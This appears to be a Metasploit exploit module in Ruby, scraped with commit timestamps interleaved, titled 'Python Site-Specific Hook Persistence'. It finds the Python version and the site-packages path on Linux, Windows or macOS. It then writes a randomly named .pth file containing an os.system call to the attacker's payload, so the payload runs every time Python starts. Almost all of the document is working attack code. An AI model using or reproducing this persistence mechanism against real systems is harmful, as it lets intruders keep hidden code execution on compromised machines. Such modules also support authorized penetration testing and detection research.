2025-11-10 16:27:59 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
include Msf :: Post :: Linux :: Priv
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
include Msf :: Exploit :: Local :: Persistence
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
2025-11-11 08:39:40 +01:00
'Name' = > 'Python Site-Specific Hook Persistence' ,
2025-11-10 16:27:59 +01:00
'Description' = > %q{
2025-11-19 07:17:07 +01:00
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
2025-11-10 16:27:59 +01:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'msutovsky-r7' , # msf module
] ,
2025-11-11 10:21:08 +01:00
'Platform' = > [ 'linux' , 'windows' , 'osx' ] ,
2025-11-11 08:39:40 +01:00
'Arch' = > [ ARCH_CMD ] ,
2025-11-11 15:57:30 +01:00
'SessionTypes' = > [ 'meterpreter' , 'shell' ] ,
2025-11-10 16:27:59 +01:00
'Targets' = > [ [ 'Auto' , { } ] ] ,
'References' = > [
2025-11-11 15:57:30 +01:00
[ 'URL' , 'https://docs.python.org/3/library/site.html' ] ,
2025-11-19 06:58:56 +01:00
[ 'ATT&CK' , Mitre :: Attack :: Technique :: Mitre :: Attack :: Technique :: T1547_013_XDG_AUTOSTART_ENTRIES ] ,
2025-11-10 16:27:59 +01:00
] ,
2025-11-19 06:58:56 +01:00
'DisclosureDate' = > '2012-09-29' ,
2025-11-10 16:27:59 +01:00
'DefaultTarget' = > 0 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
2025-11-11 15:57:30 +01:00
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS ]
2025-11-10 16:27:59 +01:00
}
)
)
2025-11-17 11:42:42 +01:00
register_options ( [
2025-11-19 06:58:56 +01:00
OptString . new ( 'PYTHON_HOOK_PATH' , [ false , 'The path to Python site-specific hook directory' ] ) ,
OptEnum . new ( 'EXECUTION_TARGET' , [ true , 'Selects if persistence is installed under current user or for all users' , 'USER' , [ 'USER' , 'SYSTEM' ] ] )
2025-11-17 11:42:42 +01:00
] )
2025-11-10 16:27:59 +01:00
end
2025-11-11 10:21:08 +01:00
def get_hooks_path
2025-11-19 06:58:56 +01:00
unless datastore [ 'PYTHON_HOOK_PATH' ] . blank?
2025-11-17 11:42:42 +01:00
@hooks_path = datastore [ 'PYTHON_HOOK_PATH' ]
return
end
2025-11-11 10:21:08 +01:00
case session . platform
when 'windows' , 'win'
2025-11-19 06:58:56 +01:00
case datastore [ 'EXECUTION_TARGET' ]
when 'USER'
@hooks_path = " C:/Users/ #{ cmd_exec ( 'whoami' ) } /AppData/Local/Programs/Python/Python #{ @python_version . sub ( '.' , '' ) } /Lib/site-packages/ "
when 'SYSTEM'
@hooks_path = " C:/Python #{ @python_version . sub ( '.' , '' ) } /Lib/site-packages/ "
end
2025-11-11 10:21:08 +01:00
when 'osx' , 'linux'
2025-11-19 06:58:56 +01:00
case datastore [ 'EXECUTION_TARGET' ]
when 'USER'
@hooks_path = expand_path ( " $HOME/.local/lib/python #{ @python_version } /site-packages/ " )
when 'SYSTEM'
@hooks_path = " /usr/local/lib/python #{ @python_version } /dist-packages/ "
end
2025-11-11 10:21:08 +01:00
end
end
2025-11-10 16:27:59 +01:00
def get_python_version
2025-11-11 10:21:08 +01:00
case session . platform
when 'windows' , 'win'
2025-11-11 15:57:30 +01:00
cmd_exec ( 'cmd.exe' , '/c python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul' ) =~ / ( \ d+. \ d+). \ d+ /
2025-11-11 10:21:08 +01:00
when 'osx' , 'linux'
cmd_exec ( 'python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null' ) =~ / ( \ d+. \ d+). \ d+ /
end
2025-11-11 15:57:30 +01:00
2025-11-11 10:21:08 +01:00
@python_version = Regexp . last_match ( 1 )
2025-11-10 16:27:59 +01:00
end
def check
2025-11-11 10:21:08 +01:00
get_python_version
2025-11-11 16:30:30 +01:00
2025-11-11 10:21:08 +01:00
return CheckCode :: Safe ( 'Python not present on the system' ) unless @python_version
CheckCode :: Vulnerable ( 'Python is present on the system' )
2025-11-10 16:27:59 +01:00
end
def install_persistence
2025-11-11 10:21:08 +01:00
get_python_version unless @python_version
2025-11-19 06:58:56 +01:00
print_status ( " Detected Python version #{ @python_version } " )
2025-11-11 10:21:08 +01:00
get_hooks_path unless @hooks_path
2025-11-19 06:58:56 +01:00
print_status ( " Got path to site-specific hooks #{ @hooks_path } " )
2025-11-11 10:21:08 +01:00
2025-11-10 16:27:59 +01:00
file_name = datastore [ 'PAYLOAD_NAME' ] || Rex :: Text . rand_text_alpha ( 5 .. 10 )
2025-11-11 15:57:30 +01:00
if session . platform == 'osx' || session . platform == 'linux'
2025-11-19 07:17:07 +01:00
mkdir ( @hooks_path )
2025-11-11 15:57:30 +01:00
end
2025-11-10 16:27:59 +01:00
2025-11-11 10:21:08 +01:00
fail_with ( Failure :: PayloadFailed , 'Failed to create malicious hook' ) unless write_file ( " #{ @hooks_path } #{ file_name } .pth " , %( import os;os.system ( " #{ payload . encoded } " ) ) )
2025-11-10 16:27:59 +01:00
end
end